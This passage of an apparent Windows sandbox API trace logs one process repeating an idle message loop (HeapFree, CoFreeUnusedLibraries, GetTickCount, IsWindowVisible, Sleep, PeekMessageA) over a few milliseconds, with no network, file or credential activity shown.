0x1150e34 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.854] CoFreeUnusedLibraries () [0120.854] GetTickCount () returned 0x1150e34 [0120.854] IsWindowVisible (hWnd=0x30268) returned 0 [0120.855] Sleep (dwMilliseconds=0x0) [0120.855] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.855] CoFreeUnusedLibraries () [0120.855] GetTickCount () returned 0x1150e34 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.855] CoFreeUnusedLibraries () [0120.855] GetTickCount () returned 0x1150e34 [0120.855] IsWindowVisible (hWnd=0x30268) returned 0 [0120.855] Sleep (dwMilliseconds=0x0) [0120.855] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.855] CoFreeUnusedLibraries () [0120.855] GetTickCount () returned 0x1150e34 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.855] CoFreeUnusedLibraries () [0120.855] GetTickCount () returned 0x1150e34 [0120.855] IsWindowVisible (hWnd=0x30268) returned 0 [0120.855] Sleep (dwMilliseconds=0x0) [0120.855] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.855] CoFreeUnusedLibraries () [0120.855] GetTickCount () returned 0x1150e34 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.855] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.856] CoFreeUnusedLibraries () [0120.856] GetTickCount () returned 0x1150e34 [0120.856] IsWindowVisible (hWnd=0x30268) returned 0 [0120.856] Sleep (dwMilliseconds=0x0) [0120.856] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.856] CoFreeUnusedLibraries () [0120.856] GetTickCount () returned 0x1150e34 [0120.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.856] CoFreeUnusedLibraries () [0120.856] GetTickCount () returned 0x1150e34 [0120.856] IsWindowVisible (hWnd=0x30268) returned 0 [0120.856] Sleep (dwMilliseconds=0x0) [0120.856] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.856] CoFreeUnusedLibraries () [0120.856] GetTickCount () returned 0x1150e34 [0120.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.856] CoFreeUnusedLibraries () [0120.856] GetTickCount () returned 0x1150e34 [0120.856] IsWindowVisible (hWnd=0x30268) returned 0 [0120.856] Sleep (dwMilliseconds=0x0) [0120.857] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.857] CoFreeUnusedLibraries () [0120.857] GetTickCount () returned 0x1150e34 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.857] CoFreeUnusedLibraries () [0120.857] GetTickCount () returned 0x1150e34 [0120.857] IsWindowVisible (hWnd=0x30268) returned 0 [0120.857] Sleep (dwMilliseconds=0x0) [0120.857] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.857] CoFreeUnusedLibraries () [0120.857] GetTickCount () returned 0x1150e34 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.857] CoFreeUnusedLibraries () [0120.857] GetTickCount () returned 0x1150e34 [0120.857] IsWindowVisible (hWnd=0x30268) returned 0 [0120.857] Sleep (dwMilliseconds=0x0) [0120.857] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.857] CoFreeUnusedLibraries () [0120.857] GetTickCount () returned 0x1150e34 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.857] CoFreeUnusedLibraries () [0120.858] GetTickCount () returned 0x1150e34 [0120.858] IsWindowVisible (hWnd=0x30268) returned 0 [0120.858] Sleep (dwMilliseconds=0x0) [0120.858] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.858] CoFreeUnusedLibraries () [0120.858] GetTickCount () returned 0x1150e34 [0120.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.858] CoFreeUnusedLibraries () [0120.858] GetTickCount () returned 0x1150e34 [0120.858] IsWindowVisible (hWnd=0x30268) returned 0 [0120.858] Sleep (dwMilliseconds=0x0) [0120.858] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.858] CoFreeUnusedLibraries () [0120.858] GetTickCount () returned 0x1150e34 [0120.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.858] CoFreeUnusedLibraries () [0120.858] GetTickCount () returned 0x1150e34 [0120.858] IsWindowVisible (hWnd=0x30268) returned 0 [0120.858] Sleep (dwMilliseconds=0x0) [0120.858] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.858] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.859] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.859] IsWindowVisible (hWnd=0x30268) returned 0 [0120.859] Sleep (dwMilliseconds=0x0) [0120.859] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.859] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.859] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.859] IsWindowVisible (hWnd=0x30268) returned 0 [0120.859] Sleep (dwMilliseconds=0x0) [0120.859] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.859] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.859] CoFreeUnusedLibraries () [0120.859] GetTickCount () returned 0x1150e34 [0120.860] IsWindowVisible (hWnd=0x30268) returned 0 [0120.860] Sleep (dwMilliseconds=0x0) [0120.860] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.860] CoFreeUnusedLibraries () [0120.860] GetTickCount () returned 0x1150e34 [0120.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.860] CoFreeUnusedLibraries () [0120.860] GetTickCount () returned 0x1150e34 [0120.860] IsWindowVisible (hWnd=0x30268) returned 0 [0120.860] Sleep (dwMilliseconds=0x0) [0120.860] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.860] CoFreeUnusedLibraries () [0120.860] GetTickCount () returned 0x1150e34 [0120.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.860] CoFreeUnusedLibraries () [0120.860] GetTickCount () returned 0x1150e34 [0120.860] IsWindowVisible (hWnd=0x30268) returned 0 [0120.860] Sleep (dwMilliseconds=0x0) [0120.860] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.860] CoFreeUnusedLibraries () [0120.860] GetTickCount () returned 0x1150e34 [0120.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.861] CoFreeUnusedLibraries () [0120.861] GetTickCount () returned 0x1150e34 [0120.861] IsWindowVisible (hWnd=0x30268) returned 0 [0120.861] Sleep (dwMilliseconds=0x0) [0120.861] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.861] CoFreeUnusedLibraries () [0120.861] GetTickCount () returned 0x1150e34 [0120.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.861] CoFreeUnusedLibraries () [0120.861] GetTickCount () returned 0x1150e34 [0120.861] IsWindowVisible (hWnd=0x30268) returned 0 [0120.861] Sleep (dwMilliseconds=0x0) [0120.861] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.861] CoFreeUnusedLibraries () [0120.861] GetTickCount () returned 0x1150e34 [0120.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.861] CoFreeUnusedLibraries () [0120.861] GetTickCount () returned 0x1150e34 [0120.861] IsWindowVisible (hWnd=0x30268) returned 0 [0120.861] Sleep (dwMilliseconds=0x0) [0120.862] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.862] CoFreeUnusedLibraries () [0120.862] GetTickCount () returned 0x1150e34 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.862] CoFreeUnusedLibraries () [0120.862] GetTickCount () returned 0x1150e34 [0120.862] IsWindowVisible (hWnd=0x30268) returned 0 [0120.862] Sleep (dwMilliseconds=0x0) [0120.862] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.862] CoFreeUnusedLibraries () [0120.862] GetTickCount () returned 0x1150e34 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.862] CoFreeUnusedLibraries () [0120.862] GetTickCount () returned 0x1150e34 [0120.862] IsWindowVisible (hWnd=0x30268) returned 0 [0120.862] Sleep (dwMilliseconds=0x0) [0120.862] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.862] CoFreeUnusedLibraries () [0120.862] GetTickCount () returned 0x1150e34 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.862] CoFreeUnusedLibraries () [0120.863] GetTickCount () returned 0x1150e34 [0120.863] IsWindowVisible (hWnd=0x30268) returned 0 [0120.863] Sleep (dwMilliseconds=0x0) [0120.863] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.863] CoFreeUnusedLibraries () [0120.863] GetTickCount () returned 0x1150e34 [0120.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.863] CoFreeUnusedLibraries () [0120.863] GetTickCount () returned 0x1150e34 [0120.863] IsWindowVisible (hWnd=0x30268) returned 0 [0120.863] Sleep (dwMilliseconds=0x0) [0120.863] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.863] CoFreeUnusedLibraries () [0120.863] GetTickCount () returned 0x1150e44 [0120.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.863] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.863] CoFreeUnusedLibraries () [0120.864] GetTickCount () returned 0x1150e44 [0120.864] IsWindowVisible (hWnd=0x30268) returned 0 [0120.864] Sleep (dwMilliseconds=0x0) [0120.866] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.866] CoFreeUnusedLibraries () [0120.866] GetTickCount () returned 0x1150e44 [0120.866] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.866] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.866] CoFreeUnusedLibraries () [0120.866] GetTickCount () returned 0x1150e44 [0120.866] IsWindowVisible (hWnd=0x30268) returned 0 [0120.866] Sleep (dwMilliseconds=0x0) [0120.866] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.867] CoFreeUnusedLibraries () [0120.867] GetTickCount () returned 0x1150e44 [0120.867] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.867] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.867] CoFreeUnusedLibraries () [0120.867] GetTickCount () returned 0x1150e44 [0120.867] IsWindowVisible (hWnd=0x30268) returned 0 [0120.867] Sleep (dwMilliseconds=0x0) [0120.868] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.868] CoFreeUnusedLibraries () [0120.868] GetTickCount () returned 0x1150e44 [0120.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.868] CoFreeUnusedLibraries () [0120.868] GetTickCount () returned 0x1150e44 [0120.868] IsWindowVisible (hWnd=0x30268) returned 0 [0120.868] Sleep (dwMilliseconds=0x0) [0120.868] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.868] CoFreeUnusedLibraries () [0120.868] GetTickCount () returned 0x1150e44 [0120.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.868] CoFreeUnusedLibraries () [0120.869] GetTickCount () returned 0x1150e44 [0120.869] IsWindowVisible (hWnd=0x30268) returned 0 [0120.869] Sleep (dwMilliseconds=0x0) [0120.869] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.869] CoFreeUnusedLibraries () [0120.869] GetTickCount () returned 0x1150e44 [0120.869] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.869] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.869] CoFreeUnusedLibraries () [0120.869] GetTickCount () returned 0x1150e44 [0120.870] IsWindowVisible (hWnd=0x30268) returned 0 [0120.870] Sleep (dwMilliseconds=0x0) [0120.870] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.870] CoFreeUnusedLibraries () [0120.870] GetTickCount () returned 0x1150e44 [0120.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.870] CoFreeUnusedLibraries () [0120.870] GetTickCount () returned 0x1150e44 [0120.870] IsWindowVisible (hWnd=0x30268) returned 0 [0120.870] Sleep (dwMilliseconds=0x0) [0120.871] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.871] CoFreeUnusedLibraries () [0120.871] GetTickCount () returned 0x1150e44 [0120.871] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.871] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.871] CoFreeUnusedLibraries () [0120.871] GetTickCount () returned 0x1150e44 [0120.871] IsWindowVisible (hWnd=0x30268) returned 0 [0120.871] Sleep (dwMilliseconds=0x0) [0120.871] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.871] CoFreeUnusedLibraries () [0120.871] GetTickCount () returned 0x1150e44 [0120.871] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.871] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.871] CoFreeUnusedLibraries () [0120.871] GetTickCount () returned 0x1150e44 [0120.872] IsWindowVisible (hWnd=0x30268) returned 0 [0120.872] Sleep (dwMilliseconds=0x0) [0120.872] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.872] CoFreeUnusedLibraries () [0120.872] GetTickCount () returned 0x1150e44 [0120.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.872] CoFreeUnusedLibraries () [0120.872] GetTickCount () returned 0x1150e44 [0120.872] IsWindowVisible (hWnd=0x30268) returned 0 [0120.872] Sleep (dwMilliseconds=0x0) [0120.872] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.872] CoFreeUnusedLibraries () [0120.872] GetTickCount () returned 0x1150e44 [0120.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.873] CoFreeUnusedLibraries () [0120.873] GetTickCount () returned 0x1150e44 [0120.873] IsWindowVisible (hWnd=0x30268) returned 0 [0120.873] Sleep (dwMilliseconds=0x0) [0120.873] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.873] CoFreeUnusedLibraries () [0120.873] GetTickCount () returned 0x1150e44 [0120.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.873] CoFreeUnusedLibraries () [0120.873] GetTickCount () returned 0x1150e44 [0120.873] IsWindowVisible (hWnd=0x30268) returned 0 [0120.873] Sleep (dwMilliseconds=0x0) [0120.874] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.874] CoFreeUnusedLibraries () [0120.874] GetTickCount () returned 0x1150e44 [0120.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.874] CoFreeUnusedLibraries () [0120.874] GetTickCount () returned 0x1150e44 [0120.874] IsWindowVisible (hWnd=0x30268) returned 0 [0120.874] Sleep (dwMilliseconds=0x0) [0120.874] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.874] CoFreeUnusedLibraries () [0120.874] GetTickCount () returned 0x1150e44 [0120.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.874] CoFreeUnusedLibraries () [0120.874] GetTickCount () returned 0x1150e44 [0120.874] IsWindowVisible (hWnd=0x30268) returned 0 [0120.874] Sleep (dwMilliseconds=0x0) [0120.875] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.875] CoFreeUnusedLibraries () [0120.875] GetTickCount () returned 0x1150e44 [0120.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.875] CoFreeUnusedLibraries () [0120.875] GetTickCount () returned 0x1150e44 [0120.875] IsWindowVisible (hWnd=0x30268) returned 0 [0120.875] Sleep (dwMilliseconds=0x0) [0120.875] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.875] CoFreeUnusedLibraries () [0120.875] GetTickCount () returned 0x1150e44 [0120.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.876] CoFreeUnusedLibraries () [0120.876] GetTickCount () returned 0x1150e44 [0120.876] IsWindowVisible (hWnd=0x30268) returned 0 [0120.876] Sleep (dwMilliseconds=0x0) [0120.876] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.876] CoFreeUnusedLibraries () [0120.876] GetTickCount () returned 0x1150e44 [0120.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.876] CoFreeUnusedLibraries () [0120.876] GetTickCount () returned 0x1150e44 [0120.876] IsWindowVisible (hWnd=0x30268) returned 0 [0120.876] Sleep (dwMilliseconds=0x0) [0120.877] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.877] CoFreeUnusedLibraries () [0120.877] GetTickCount () returned 0x1150e44 [0120.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.877] CoFreeUnusedLibraries 